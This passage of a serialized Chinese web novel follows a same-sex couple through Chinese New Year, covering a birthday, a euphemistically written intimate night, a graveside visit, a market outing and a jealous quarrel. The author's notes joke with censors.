不过她的生日是福利院院长在门口捡到她的日期,她在除夕那天被丢弃在福利院门前,便也从来没想过给自己过生日。 这还是第一次有除家人之外的人为她过生日。 蛋糕分完了,眼见着快到十点多,温向荣拿出来十几个红包,每人发了一个。 季白青手里的最厚。 “小季今年第一次来,还过生日,我多给点你们没意见吧?” 众人自然是没意见。 除此之外,季白青还收到了温知意她们的红包,最后就连温简楚都给了她一个。 她人小鬼大:“季姐姐,我姐姐交给你了,你要对她好!不然你要把红包还给我的。” 季白青捏着红包,笑着回答:“放心吧,肯定对你姐姐好。” 得到了承诺后,温简楚十分满意地点头。 天色晚了,温知意和温皎皎陆续回去了。 温如嫣原本的意思是让她们留宿一天,现在太晚了。 不过温淼拒绝了:“我们回去就行,又不远。” 闻言,她只好把手电筒给她们。 牵着温淼的手和她回到屋里,季白青一边看路,一边说:“老婆,我今天特别高兴。” 温淼弯唇:“你高兴就好。” 回到了家,刚踩过雪,怕温淼的脚太凉,晚上睡不暖和,季白青将炉子点上,准备烧点水泡泡脚。 温淼不知道在房间里捣鼓什么,叮叮当当的还不允许她进去。 季白青猜到她应该是在准备给自己的生日礼物,便很给面子地没有掀开帘子看她,只是将房间的炉子点上。 免得着凉了。 房间里,温淼一边支着耳朵听着外面的动静,确定季白青有乖乖听话后才放心一点。 她抓着身上单薄的布料,穿着拖鞋走到镜子面前,对着镜子打上结。 季白青以前说过,红色很适合温淼。 她看着身上的红色裙子,心想,季白青会喜欢吗? 大概是会的吧? 注意到脸颊上的绯红,温淼用手背贴了贴脸颊,抿唇犹犹豫豫的做了好久的心理建设,最后才回到床上,对着外面的人道: “阿青,可以进来了。” 季白青这才将帘子掀开,顺势将快落到地上的衣服往上捞了捞。 等到眼神终于落到床上的时候,眼睛瞬间瞪大。 女人本来就长相明艳,一双桃花眼又娇又媚,此时穿着贴身的红裙,跪坐在床上,身体微微前倾,胸前的沟壑明显,雪白软媚。 脖子上还用丝绸系带松松垮垮系了个蝴蝶结,乌黑的卷发落在雪白的肩背上,像是一只勾人的妖。 “你的礼物——要亲自来拆吗?”温淼眉眼弯弯,眼下泪痣越发妖冶。 【作者有话说】 思来想去,喵还是觉得自己对青来说是最大的礼物。 她猜对了。 感谢投雷和营养液,感谢订阅评论收藏[撒花][撒花][撒花] 60 第60章 ◎拆礼物◎ 季白青的呼吸凝滞一瞬,她设想了很多种可能,也试图猜测过温淼到底给她准备了什么礼物。 但她怎么也没有想到,她今天收到的礼物会这么贵重。 温淼要把自己送给她。 她的礼物她当然想要亲手拆,但在这之前,季白青上前几步,将带着自己体温的外套脱了下来,裹在她雪白的肩膀上。 裙子很漂亮,完美贴合身材曲线,可在冬夜里,却有些冷了。 温暖将自己笼罩的时候,温淼还有些茫然,接着唇上一痛。 季白青弯腰在她的唇瓣上咬了一口,看向她的眸中有几分怜惜:“天这么冷,怎么能穿这么点?” 不等温淼说什么,她又堵住了她湿红的唇瓣,舌尖顺着温淼的唇描绘,最后温柔地撬开了对方的唇齿,同她的舌交缠。 隐秘的水渍声在屋内响起,炉子烧得正旺,煤火蹿高,房间温度高了几分。 两人的体温也逐渐攀升,唇是红的,眼周是红的,脸颊也发红,春||意无边。 一吻终了,温淼张唇无力喘||息,透过唇缝可以看见雪|白贝齿和嫩|红的舌尖,眼底蒙上了一层浅淡的水汽。 她觉得自己的身体内像是有火在烧,又热又潮。 季白青穿过外套,在她圆润的肩头上摸了摸,原本的冷气散去,被厚实的衣物包裹,恢复了温热。 这时候眼神再度落在温淼雪|白的颈脖之上,上面的蝴蝶结颜色耀目,闪着润|泽的光,肆意吸引着她人注目。 不知是不是有意,修长的手指|擦|过,最后勾住了松垮的系带,在手指上缠绕几圈,红与白交织,无端艳|丽。(审核,这里什么都没写) 指腹在纤细的天鹅颈上点了点,季白青弯起眼睛,温柔开口:“现在……我要开始拆我的礼物了。” 对上她漆黑平静的眼眸,温淼不知为何有一丝紧张,咬着唇,没一会儿又张开,轻轻点着头。 最后蝴蝶结被拆下,丝绸细带也没有被人丢下,而是被用在了其它地方。 女人被推倒在床上,长发散开,乌黑的发衬出那张芙蓉面越发雪白软腻。 长长的系带在她的手腕上一圈一圈环绕,最后被打了个漂亮的蝴蝶结。 双手被按上头顶使,季白青的唇落在她的唇边,气声缓缓:“蓁蓁,我要开始享用礼物了。” 没得到回复季白青也丝毫不介意,唇在她的脸颊上轻啄,最后往下落,在似雪的肌肤上落下了一朵又一朵的红梅。 温淼的眼睛闭着,感受着对方的动作,睫毛簌簌地抖着,下意识想要将人推开,手却被罪魁祸首绑住。 只能无力承受。 不知是触动到哪一点,温淼的腰一颤,腿肚细细地发抖:“呜……阿青、阿青……”(审核,单纯说说话) 季白青抬起头,整个人闷在被子里,只能看到一双明亮的眸子。 “可以的,蓁蓁。” 季白青的手指修长,指甲会及时修剪,圆润、没有棱角。 因为干农活多,她的指腹上带着茧,有些粗粝,偶尔擦过温淼的肌肤都会刮红,两人还未试过真正的方式,这一次便要温淼彻底放开一些。 温淼细细地哭了起来,最开始还顾忌着脸面,后来只感觉大脑发白,什么想法都装不下了。 唯一能感受到的便是爱人施加在身上的点点滴滴。 她像是一只可怜的猫崽子,被另外一只大猫按在身下,大猫伸出舌头细细地给她舔着毛,任何一处都没有被放过。 虽然大猫收着舌头上的倒刺,但浑身上下的绒毛都被大猫舔舐过一遍,毛发被顺开,变成一缕一缕的,沾着独属于大猫的气味。 季白青从被窝里探出头来的时候,温淼的眼睛盯着虚空,眼神有些涣散,胸口缓缓起伏,额头上布着细细的一层汗。 她怜惜地将温淼搂进怀里,亲她的眉心、鼻尖。 “小可怜。”她轻叹一声。 温淼呜|咽一声,睫毛还是湿|漉|漉的,面上绯|红,带着惊人的艳||色。(啥都没写,只是大美人太漂亮) 她祈求道:“呜……阿青,把我手上的丝带解开……”(单纯对话,要求) 季白青看着她手上的系带,其实系的不紧,但温淼的手上没有力气,全身都软了,自然也挣脱不开。 将丝带一圈一圈解开,温淼还来不及chuan一口气。 不知什么时候,窗外雨淅淅沥沥下了起来,将墙角的粉色蔷薇花瓣淋湿。(窗外突然下雨了,别多想) 蔷薇花挺好看的,有粉的白的红的,不知道有不有其它颜色,审核我全删了放过我行不行 白色的蔷薇代表纯洁无瑕,红色的蔷薇代表一生一世,此处的蔷薇代表审核你不要想歪了。 屋内,季白青将温淼抱在怀里,亲亲她的额头。 “还好吗?” 温淼还说不上话来,娇滴滴地埋在季白青的胸口掉眼泪。 眼泪将人的身前布料打湿了些,温淼这才一字一句谴责她:“你好过分,都说了不许、不许……” 每次这种时候,这人都格外强势,像是一只母豹,要强势地证明自己的地位。 季白青心虚一瞬,讨好地去蹭蹭她:“那还不是因为你太漂亮了。” 在那种事上,温淼所表现出来的神态漂亮得惊人,她忍不住想去欺负。 “累了没?我去打水给你擦擦。” 温淼这个时候却支起了身来,像是有了些力气,虽然身上还是软的,可她的桃花眼却灼灼地盯着季白青。 季白青被看得眉心皱起:“怎么了?” 温淼的脸颊红扑扑的,趴在季白青的胸膛,凑到她的耳边轻轻问:“我也帮你好不好?” 听了这话,季白青的脚趾蜷缩起来,还没等她说话,温淼自顾自做了决定。 她被突袭得没有丝毫准备,还有些茫然。 大脑发愣的时候,唯一想的就是——好像搬了石头砸了自己的脚。 温淼钻出来,和她接吻,有几分黏黏糊糊的。 她懒洋洋地撒娇:“好累。” 没得到季白青的回复,她抬起头好奇地问她:“是什么感觉吗?” “…………”季白青的脸颊泛着红。 听到了这个回答,温淼得意地扬了扬唇。 她就知道!(审核这也要标黄,能不能别敏感肌了?) 在湿润的地方躺了一会儿,季白青随意套了身衣服,找了一套新的床单,又打了水,将自己和温淼的身上擦了擦。 像是两只相互取暖的小兽,两个人抱着,整个被窝都被蒸得暖烘烘的,没多久就睡着了。 一晚上都睡得很熟,身体沉沉,意识沉沉。 第二日,季白青比以往起得晚了些,抬起手腕看了眼时间,差不多九点了。 左手有些酸,她揉了揉,垂眸看胸口睡得恬静的温淼,不自觉弯起了眸子。 腿根也还有些泛酸,给温淼掖好被子后,季白青披着外套在床边歇了会儿,最后才踩着拖鞋去洗漱。 炉子点了一夜,还燃着火,季白青夹了一块新煤进去,用烧了一夜的热水擦了个脸,打湿毛巾后又到卧室里给温淼擦了擦脸。 温淼睡得沉,许是昨天晚上太累,被折腾一番还没醒。 季白青去国营饭店打了面回来,又去食品站买了点菜,这才叫温淼起来。 温淼迷迷糊糊地被套上了外套,全身都穿的温暖厚实后,季白青拍拍她的后背。 “快起来吃早饭,不然面该坨了。” 温淼的腿还酸,触地就软。 她对季白青张开手,软声:“抱我。” 粘人精、撒娇怪。 季白青托着她的屁股将人抱起来,让她洗漱好才把她放在桌前坐好。 搅着碗里的面,闻着面食的浓香,温淼昨天太累,这下食欲大发,把一碗面都吃完了。 将饭盒洗干净,看着灶上放着的菜,心疼自己老婆,温淼道:“我们今天去奶奶家吃饭吧。” 季白青没明白潜在意思,还有些疑惑。 就听温淼道:“我怕你累了。” 她的眼神落在季白青的手上。 季白青唇角一抽,“……倒也不累,昨晚你又没给我多来。” 真正累的另有其人。 温淼瞪她一眼,昨夜她确实有些紧张,主要从未体验过的事对她来说太过刺激,再承受一次她真的会坏掉的。 “不许说。” 她不想听的话就让别人不说,季白青识趣闭嘴,听从温淼的话,“行,我们可以去奶奶家,但是你能走吗?” 温淼现在全身都酸软,面上的潮红都未褪下。 哪里像是能走的样子。 颇为委屈地看了季白青一眼,温淼说:“都怪你。” “好好好,都怪我,那我背你好不好?” “不去了。”温淼嘟了嘟嘴。 可季白青直接在她面前蹲下了,声音带着点纵容的哄:“好了,我不累,你上来,我背你过去。” 温淼的手抵着她的背,还有些犹豫。 “真的不累吗?” 季白青没和她多说,拉着她的手让她往自己背上靠,搂住了她的腿后,她背着温淼稳稳地走了一圈。 “现在能相信了吧?” 温淼在她背后好奇地往四周看,最后娇声道:“相信了,相信了!先放我下来,我们带点东西过去!” 今天是大年初一,出去的时候几乎所有的地方都关门了。 背着温淼往温家走,到了地方后才将人放下。 温淼走路的姿势还有些不自然,一进屋就往沙发上坐。 靠着温淼坐下,季白青的手上很快被塞了个柿饼。 橙红色的柿饼,软糯香甜。 掰了一半给温淼,两个人分着吃了一个。 大年初一一家人也是要聚在一起吃一顿饭的,中午的*时候温如嫣做的饭,季白青倒也没有如温淼所愿歇着,而是进了厨房帮忙。 堂屋剩下了温淼和温向荣祖孙两人。 看了眼撑着脸颊昏昏欲睡的温淼,温向荣问:“这么困?昨晚做贼去了?” 闻言,温淼顿时清醒了些,脸颊漫上些绯红,她故作镇定: “冬天就是困,什么时候都想睡觉。” 温向荣没说话,眼神落在她摘了围巾的脖子上。 又是冷不丁的一句:“脖子都有痕迹。” 温淼忍住想要去捂脖子的冲动,“……大冬天的我那边屋子里还有蚊子。” 温向荣呵呵笑了一声,意味深长:“那蚊子确实挺毒的。” 这下温淼真是彻底恼了. “奶奶,你知道是怎么回事就不要取笑我了!” “哼,”温向荣屈指敲了敲桌子,“你们什么时候结婚?回了潇南就结婚,听到了没?” 又在催婚,温淼有些头疼。 “奶奶,我们又不着急,到了合适的时候肯定就结婚了。” “倒是奶奶你,这么着急干什么?” 温向荣叹了一口气:“我照看你长大的,你结婚了,有人疼有人哄了,我的任务可不就完成了。” “小季人还不错,你确实没看错人。” 听了这话,温淼顿时得意起来,哼哼一声。“我都说了阿青很好的!” 对自己这没出息的孙女,温向荣觉得没眼看,最后还是没忍住多嘴一句:“但是小季再好,你也不要什么事都和她说,钱、票都自己收着点。” 温淼点头,“奶奶,阿青赚的钱都是给我的,你放心吧,她不是李文宇那种人。” 闻言温向荣一愣,脸上倒是欣慰了一些。 这样也好,蓁蓁找到了一个爱她的人,起码近几年是不会受到她的影响了。 中午吃完了饭,又在客卧里睡了个午觉,温淼和季白青的精神都好了些。 见状,温向荣说:“你们一起去看看泠月,和她说说话。” 温淼点头,带着季白青出门了。 温泠月的墓碑在城郊,要换两趟公交车。 温淼轻车熟路地找到了温泠月的墓碑,将墓前的雪扫开,又用手帕擦了擦她的石碑,季白青将提着的一枝白梅递给她,白梅最后被摆到了碑前。 季白青看着墓碑上的黑白照片,温泠月看起来和温淼很像,比起温淼来更多了几分清冷孤傲,像是那支雪梅。 温淼和季白青十指相扣,站在碑前。 “妈妈,我来看你了,好久没有过来看你,不知道你有没有生气。” “我身边的人是我的爱人,我们在一起几个月了,很幸福,马上就要结婚了。” 温淼笑着看季白青一眼,眉眼弯弯和温泠月分享自己的喜悦:“妈妈,我现在过得很幸福,希望你也要过得幸福。” 将自己想说的话说完后,她推推季白青。 季白青看着墓碑上的照片,温声道:“妈妈,我是季白青,是蓁蓁的爱人,我会对蓁蓁好的,一直好下去,您别担心她,她有我照顾着呢。” 话音刚落,原本已经澄澈的天又簌簌地往家落着雪。 雪花轻飘飘地往下掉,被和风一吹扫过人的脸颊,像是轻柔的抚摸,睫毛、头发上都撒着雪花。 离开前,两人一起跪在墓前磕了三个头。 风雪渐消,她们十指相扣,一起往回走。 回去的时候,饭已经差不多上好了。 温知意将菜端上桌子,见温淼她们回来,问:“见过姐姐了?” 温淼点头,温知意这才道:“也是,早点定下来,别学你们小姑姑。” 温如嫣听了这话,无奈一笑。 温向荣倒是颇为赞同:“不管是女是男,你总要给我带个人回来吧。” 温如嫣柔柔回答:“这这种事都是看缘分的,急不来。” 温如嫣要比温知意她们小上八岁,现在也就三十,放在后世,这个年龄并不算大呢。 季白青对这个温温柔柔的小姑姑印象挺好的,也解围道:“是啊,有时候越急什么就越没有什么。” 话是这个理,不过温向荣倒是不着急,温如嫣有稳定的工作,找到合适的人只是时间问题。 她的眼光高着呢。 一家人和乐融融地吃完了一顿饭,饭后季白青和温淼站在窗前。 窗外是一片粘稠的黑,倒是没什么好看的,。 不过季白青在和温淼也没有看窗外的风景,只是小声地说着话,她拉着温淼的手,裹着她的手放进自己的口袋里。 突然,季白青想起了什么,声音又压低了一些,左右看了看,每人靠近这才问出口: “那种药,小姑姑她有吗?” 温如嫣是医生,大概会有那种药吧? 最开始温淼还有些没懂,最后注意到季白青的眼神落在哪里后,温淼的脸颊瞬间臊红。 “不、不知道!” 温淼觉得自己和她有些待不下去了,将手抽出来,最后又跑到桌边烤火。 季白青努了努嘴,心想,既然老婆脸皮薄,那就只能她亲自去问了。 先是也挨着温淼坐下,等到人走的差不多了,季白青这才当着温淼的面将温如嫣拉到一边。 “姑姑,你有不有那的药?” “就是事后上的药。” 季白青也有些害羞,但想到温淼,还是强装镇定。 温如嫣闻言一愣,意识到她说的是什么后,立即扭头看了温淼一眼。 和自己侄女对上视线后,温如嫣一笑。 她就说今天怎么看温淼的走路姿势那么别扭,最主要是整个人显得特别娇艳,有了几分熟韵。 “有,我去给你们拿几瓶。” 说完后,温如嫣回了房间,季白青靠在一边,等着她出来。 最后她拎着五个小盒子心满意足离开了。 回去的路上,温淼没让季白青背着。 两个人一前一后走着,路灯将两个人的影子都照得长长的,温淼站在她的身后踩着她的影子走。 最后季白青停住了身,转头无奈看她。 “还在生气?” 做坏事被抓包的温淼将手背过去,抿着唇,脸颊还有些气鼓鼓。 “你那么和姑姑说,姑姑肯定都知道了。”她有些不高兴。 季白青将她的手抓住,用自己的温度给她暖着,温柔安慰:“好了,又不是什么见不得人的事,你姑姑肯定见过不少呀。” “不要那么害羞。” 她说:“其实我也害羞的,嗯……也没有你想的那么不要脸。” 温淼又瞪她,纠正她的说辞:“你才不是不要脸呢,你只是担心我。” 在她看来,季白青就是最好的,她不许她说自己不好。 季白青轻笑出声,“好,知道我担心你,这下总可以不生气了吧?” 温淼别别扭扭应了一声,主动勾住她的手。 道路被清理过,现在积了一层薄薄的雪,一踩下去是闷闷的踏雪声。 在路上留下了一串脚印,最后赶在十点前回了家。 炉子上烧着水,现在去摸是热的。 倒出来,刚好是不加冷水就能直接泡脚的温度。 脚热起来后,浑身的寒意便被驱散的差不多了。 等到了床上的时候,季白青示意温淼给自己看看海棠花。 海棠花和昨晚一样颜色娇艳,花瓣微微闭合。 透明的药膏抹上去后很快就融化了。 不过是几分钟的事,花瓣再度变得湿漉漉的。 这次季白青控制住了,将药膏盖好,给温淼盖上被子,又去将窗户打开了一些,钻进被子里,将人往怀里一搂。 “睡觉。” 温淼在她的怀里扭了扭,有些不想睡。 她问:“你那里不上药吗?” “昨天好像不小心磕了一下。”温淼的语气有些无辜。 季白青闭着眼睛呵呵一声,“原来你是不小心的,我还以为你是报复我,故意的呢。” 温淼哼哼:“怎么可能,真的是不小心的,下次我一定会小心点的。” 季白青头一次觉得温淼有些烦人,学着她往常的样子将她的嘴捂住。 “别想再有下次,快给我睡觉,不然就再让我看看花。” 听了这话,温淼闭了嘴。 最后季白青以为她乖下来了,将手放开,正准备睡觉,就听见温淼又问: “老婆,真的不需要我给你擦药吗?” “……”这还是温淼第一次叫她老婆。 季白青没办法招架住,正面朝上作咸鱼姿势,声音有些无力:“你高兴的话。” 温淼一骨碌起来,将灯拉开,给她擦药的时候还轻轻吹着气,和季白青比着自己手指的长度。 最后温淼胡乱招惹的结果就是,被忍无可忍的季白青按在身下又插了一次花。 【作者有话说】 来晚了,有一点点卡,审核大人放过我[爆哭] 不知道大家觉得舔算不算反攻,如果有人介意的话可以在评论区说一声,下次我标注一下 感谢投雷和营养液,感谢评论收藏订阅[撒花] @空青宿宿雪 60-70 第61章 ◎金鱼◎ 正月初二到正月初五前,季白青和温淼没怎么出去,在小窝里过自己的日子。 这几天街上也不怎么热闹,因为过年放假,几乎所有店铺都关闭了,好在她们提前把这几天需要的东西买好了,什么都不缺,自己在家做饭倒也不麻烦。 偶尔会去温向荣那蹭一顿饭,不过温淼和季白青都会动手帮忙。 第一次知道温淼下乡后还学会了做饭的温如嫣还有些惊讶,毕竟她之前在家十指不沾阳春水,没想到有一天娇滴滴的大小姐还能学会做饭。 温淼得心应手地翻炒着锅里的菜,看向温如嫣的时候眸中还带着几分得意,说:“做饭也没什么难的嘛。” 丝毫没有提到她刚下乡的那一段时间连火都生不起来的经历。 温如嫣眼神温柔落在她身上,夸她:“蓁蓁真棒,我们家蓁蓁长大了。” 二十多岁的姑娘,还要被夸长大了,温淼有些不好意思,红着耳尖将炒好的菜盛出来。 等到菜被端上了桌子,温向荣知道哪个是温淼做的后,也有些诧异。 尝了一口后,温向荣眼角下压,眼尾带出点笑纹。 “我们蓁蓁长大了。” 母女俩夸人的话都是一模一样的。 正月初五,街上的店铺都陆续开门,那天也是个难得的晴天,细雪停了,风也温柔下来。 季白青和温淼原本就说要一起出去逛逛,便选了今天的日子。 人民市场的东西要比供销社的齐全的多,她们坐公交去了那处。 到了地方,市场前的人倒是不少,来来往往。 面积也比季白青去过的任何一个供销社都要大。 进去后,才发现里面陈设着各种东西,各色的用品依照分类被摆的整整齐齐,颜色也比溪宁镇的要鲜艳。 溪宁镇的用品、布料大多都是黑色、灰色和军绿色,一眼看过去灰扑扑的一片,人民市场的东西却色彩缤纷,让人看得眼花缭乱。 其实季白青她们也没什么要买的,家里的东西都准备的齐全,主要是来这边体验一番。 除了生活学习用品之外,这还有文物与古玩的摊子。 季白青好奇看了几眼,倒是没有什么看起来就很贵重的东西,一眼过去只觉得全都平平。 温淼看到了卖文化用品的地方后,和季白青说了一声,准备去买个镜框。 季白青原本想和她一起去的,可余光瞟到了摊子上的一个物品后,眼睛瞬间亮了亮,主动让温淼先过去。 温淼离开后,季白青将东西拿起看了看,面上神色不显,不动声色问摊主:“这要多少钱?” 那摊主一笑,“小同志你真是慧眼识珠啊!这可是我摊上最值钱的东西了。” “童叟无欺,一口价,八十八!” 听了这话,季白青将东西往摊上一放,毫不犹豫就要走。 还没挪开步子,就听见那婶子叫住她。 “诶诶,女同志,不是说想要吗?怎么就走了。” 季白青拧着眉:“婶子,你这也太贵了吧。” 闻言,婶子左右谨慎地看了看,见周围没有人看着她们,这才压低声音道:“小同志,这东西在我这放着也是落灰,你要是真想要的话,给六十六!我们可是从来不讲价的,我看你面善才愿意给你个优惠。” “你看看这成色,这飘花!多好看!” 目的达到了,季白青正要爽快付钱,掏了掏口袋,才记起来钱都让温淼揣着了。 她被婶子灼灼的目光看着,轻咳了一声,将东西推过去。 “那个婶子,你先给我收着,我去找我爱人拿钱,待会儿再过来给你付钱。” 婶子狐疑地看了她一眼,“你该不会是不想要吧。” 现在哪有人出来买东西自己身上不带钱的? 季白青挠头,“不是婶子,我身上没带钱,钱在我爱人身上。” 她就差把自己是老婆奴几个字写在脸上了。 “真的?”婶子还有些不相信,以为是她不想要的借口。 季白青马上要对着她发誓了,最后看她急得脸都红了,婶子对她摆了摆手,还是应下了。 “行吧,你去吧,我先给你留着,不过你要是一直不来的话有人要我可直接卖了啊。” 季白青点头,去找温淼。 在云水村的时候备课时间多,还需要批改作业,温淼原本的视力就有点问题,几个月过去近视更严重了一些。 到京市的没多久她就和季白青一起去国营眼镜店测视力、配了合适的眼睛,不过镜框温淼不太喜欢,此时便在看有没有合适的眼镜框。 季白青找到人的时候,温淼的手上拿着细边黑框眼镜端详,看到了季白青后将手上的镜框给她看:“这个怎么样?” 季白青接过来仔细看了看,又让温淼戴上,最后点头夸道:“好看。” 温淼将镜框取下来,也挺满意的。 不过她还有些纠结,将另一个银丝镜框拿起来给季白青看,“这个呢?” 耐下心又陪着温淼挑了一会儿镜框,最后还是还是买的第一个。 半个小时过去了,季白青才想起了自己还没说的正事。 她咳了一声,小声道:“老婆,给我七十块钱,我想买个东西。” “买什么?”温淼有些奇怪地看了她一眼。 平日里季白青节俭的形象在她脑海里根深蒂固,突然一下要那么多钱,温淼便多问了一句。 季白青拧着眉有些纠结,最后还是没有直说,只是撒娇:“老婆老婆,快给我吧,我真的有急用。” 见温淼的神色越发奇怪,季白青强调:“不是做什么坏事!” 看着季白青有些着急的样子,温淼的唇弯起来,最后将抽了七张大团结出来。 刚想和她说什么,季白青接过了钱,一溜烟儿就不见了踪影。 温淼:“……” 看着自己空荡荡的手,想着早已溜进人群中的某人,温淼磨了磨牙。 跑那么快,早知道就和她一起过去再给钱给她了。 这人倒是好,问她要钱的时候黏糊糊,拿到钱后跑得比谁都快。 等季白青过来的时候,温淼在四处逛了逛,又挑了些小东西。 没有过多久,季白青又跑了回来,停在温淼身前的时候还有些气喘。 等着她缓一口气,温淼才和她牵手去柜台付款。 除了人民市场,温淼这才看向季白青,问:“买了什么东西?” 季白青将东西往深处揣了揣,笑得一脸神秘。 “秘密,回去再告诉你~” 看她这样,温淼反而越发好奇了。 到底买了什么? 周边有个小公园,今天天气暖和,季白青想着和温淼一起逛逛,便和她一起进去了。 当天的公园也没有什么好看的景色,前几天下雪积累下来的薄雪在地上堆聚。 公园中心是一条河,还没有冻起来,流水奔涌带出哗啦啦的水声,往河边一站,比别处也要暖和一些。 四处稀稀落落地散布着人群,她们往人烟稀少的地方去,想要能够亲昵地相处一会儿。 刚在一棵树下站定,本以为周围不会再有人,季白青牵着温淼的手悠闲地晃了晃,还没说什么,突然听见了不远处争执的声音。 “陆霁,你不过是个女人,有什么资格争家产,老爷子早就说过,我回来后家业迟早是我的,你别想趁我不在偷偷讨好老爷子,这些都是徒劳,有这个心思早早地找个人嫁了算了。” 听着这话,季白青和温淼不约而同地皱起了眉。 好在很快就听见了女人清清淡淡的反击声。 她声音冷淡,没多少情绪,倒是衬得说出那话的男人有些气急败坏。 “爷爷说的是你下乡历练后有长进才给你机会,不过这几天看来,你确实没什么长进,与其关心我,不如先去把爷爷哄好了,免得以后你被赶出家门。” 闻言,季白青挑眉,看了眼温淼,眼神中看热闹的意味明显。 有瓜。 正想要继续听下去,不知从哪窜出来一只猫,踩在枯叶上发出嘎吱的声音,恰好就大摇大摆地从她们的身前经过。 听见了动静后,男人瞬间皱起了眉,没有心思同陆霁继续纠缠,肃声问:“谁在偷听?出来!” 季白青拉着温淼走了出去,这才发现原来主人公之一和她们颇有渊源。 不过这缘分她也不大想要。 对陆霁挥了挥手,“姐姐好。” 陆霁诧异一瞬,还是对她们微微一笑。 她身边的陆延直接被两个人忽略。 陆延显然也没想到,京市这么大个地方,竟然还能看到季白青和温淼二人。 他觉得有些晦气。 此时还被两人忽略,一时间心中更是憋闷。 他沉声问道:“你们为什么要在那里偷听?跟踪我?” 季白青白眼一翻,大喇喇地对身边的温淼说:“这人好大的一张脸,也不知道是哪里来的自信,真不要脸。” 温淼的唇边挂着淡笑,给面子地点了点头。 被二人明嘲暗讽,陆延的胸膛剧烈起伏着,眼神再度落在了陆霁的身上。 “陆霁,这又是你搞的鬼?你知道我在乡下就和她们不对付,所以千方百计把她们找来了?” 他伸出手,指着是三个女人,“好、好、好。” “我一个男人不和你们计较!不过,陆霁,你想要抢我的位置,做梦!” 语毕,陆延一个眼神都不再给她们,转身大步流星地离开了。 留下来三个人站在原地,季白青按了按太阳穴,还是觉得有些莫名其妙,最后没忍住多问了陆霁一句: “姐,你弟弟是不是脑子有问题?” 明明只是一次偶遇,谁家好人会误认为是别人跟踪啊! 不过她们和陆延确实不对付,他那样恶意揣测也是情有可原。 陆霁听了季白青的话,唇边的笑意加深,微微颔首,“我觉得可能有。” 季白青将陆霁打量一番,发现她和陆延不太像,陆霁人如其名,看着就觉得温润如玉、守礼知节,一张鹅蛋脸格外温和,不像是陆延,自带一股傲慢气质。 从听到的两人的对话不难得出来,这姐弟俩丝毫不对付。 季白青摩挲着下巴,心想,敌人的敌人就是朋友。 四舍五入,她们和陆霁便是朋友关系了。 念此,她对陆霁露出个温和的笑容。 “姐姐,我叫季白青,这是我的爱人温淼,我们和你弟弟认识,温淼是和他一起下乡的知青,我就是当地的村民。” 陆霁看了眼她身边的温淼,伸出手来和两人礼貌握手。 “温同志是温首长的孙女,这我倒是有所耳闻。” 对方没有提到自己,季白青丝毫不沮丧,又热情和她攀谈了几句,对她说了些陆延在云水村的糗事。 “姐姐,你都不知道,陆延还掉进过粪坑,可臭了,不过我觉得那时候他的脸色也像是吃了屎一样难看,也不知道是不是真的吃进去了。” …… 叭叭地说完了一堆,陆霁的脸上也多了几分忍俊不禁。 最后季白青拉着温淼,离开前还找陆霁要了个联系方式和收信地址,准备下次有机会再联系。 得到了自己想要的信息后,季白青和陆霁告别,拉着温淼准备坐公交车回家。 等着公交车的空隙,温淼抿唇看着季白青,对方此时看着刚才写下的纸条不知道在想什么,看起来分外沉浸。 “某人已经聊得乐不思蜀了。”她幽幽来了一句。 季白青刚才在想着怎么拉拢陆霁和自己一起对付陆延,一时间也没听清她说什么,抬起头的时候还有些疑惑。 “淼淼,你刚才说什么?” 温淼咬着唇,撇过头去不想理她了。 “没什么。”她闷闷挤出了回答。 这下季白青那个再眼瞎也不会看不出来她家的娇娇老婆是生气了,刚伸出手将她往怀里带,此时公交车却恰好来了。 季白青只能将自己哄人的话暂时咽下,让温淼先上车。 两人在靠后的位置坐了下来,位置不大,颠簸间两人的肩头撞在一起。 季白青去牵她的手,被躲开一次后又耐心地勾住她的手指,两人的手掌贴合,又被她一整个握住。 几乎是贴着她的耳朵说的话,季白青的声音和缓,气息也是温温热热落在温淼的耳垂。 “刚才说什么呢?我真的没听清,不是故意的。” 温淼不想听她说话,往窗边的位置挪了挪,眼睛看向窗外,给季白青留下一个精致的侧脸。 季白青在心里啧了一声。 又生气了。 将刚才的事复盘了一番,季白青也能猜到自己爱吃醋的老婆是因为什么事情生气了。 现在车上的人多,不方便说话,季白青牵着温淼的手,捏捏她柔软的手指,轻声道:“回去再哄你。” 虽然听见了季白青说的话,但温淼还是难以抑制地陷入了怀疑之中。 盯着窗外的眼睛一眨不眨,最后眼睛干涩,泪珠子在眼眶里打着转儿。 她很快垂下来眼睫,没让季白青注意到异样。 还是季白青和她到了地方下车,走了几步远后,扭头才发现了温淼微红的眼眶。 瞬间也不再想其她的事了,季白青将她拉到巷子角落,指腹擦过她眼下,倒是没摸到水渍,反倒是指尖一下被突然往下掉的泪珠子打湿。 季白青心疼,掏出了口袋里随时带着的手帕,给眼前的娇娇擦眼泪。 手帕是柔软的丝绸质地,擦过温淼柔嫩的肌肤也没什么痕迹,为此,季白青特意多买了两条换着用。 “这么委屈?是不是吃醋了?”季白青问她。 温淼的尖牙抵着唇瓣,死死咬住,晶莹的泪一粒一粒往下掉,就是不说话。 放在身侧的手臂也绷直,手背上青色的血管明显。 季白青抬起她的下巴,将手按住她的唇瓣,把被咬破的下唇解救出来,凑上去亲了一口,将血粒往自己的嘴里卷,铁锈味漫开,她继续给她擦着眼泪。 无奈和心疼的情绪占了上风,季白青哄她,语气柔软稠密,说着立马就会淌出蜜来的甜言蜜语。 “好蓁蓁,不哭了。” “我真的对陆霁没意思,我只喜欢你。” “季白青只喜欢温淼,阿青只喜欢蓁蓁,只爱蓁蓁,最爱蓁蓁。” 几句话下来,温淼的泪倒是止住了,可琥珀色的眸子蒙上了水雾,脸颊还有些闷红。 “我和陆霁说那么多只是想要多恶心恶心陆延而已,我哪来见一个人爱一个人的本事?” 季白青抵着她的鼻尖,因为要比温淼高上一些,过个年的功夫,好像又往上窜了窜,几乎将她整个人笼罩住。 其实她现在也有些懊恼,知道温淼敏感脆弱,当时就应该多想想,最起码在陆霁面前多秀秀恩爱,没准温淼还少难受一点。 可她到底还是怕温淼害羞。 不管了,不管怎么说都是她的错,季白青认了。 扶着温淼的腿弯,一把将人公主抱起来。 突然失重,温淼轻呼一声,下意识勾住了季白青的肩膀。 她小声道:“你干什么?快放我下来!” 季白青将她抱得更紧了一些,“我让蓁蓁生气了,罚我抱着蓁蓁回去好不好?” 温淼小幅度地挣扎着想要下来,可季白青还是将她抱得很稳,路过李婶门前的时候,恰好又撞见了她。 见着像个鸵鸟似的扎在季白青怀里的温淼,李婶有些奇怪。 “小季啊,淼淼这是怎么了?” 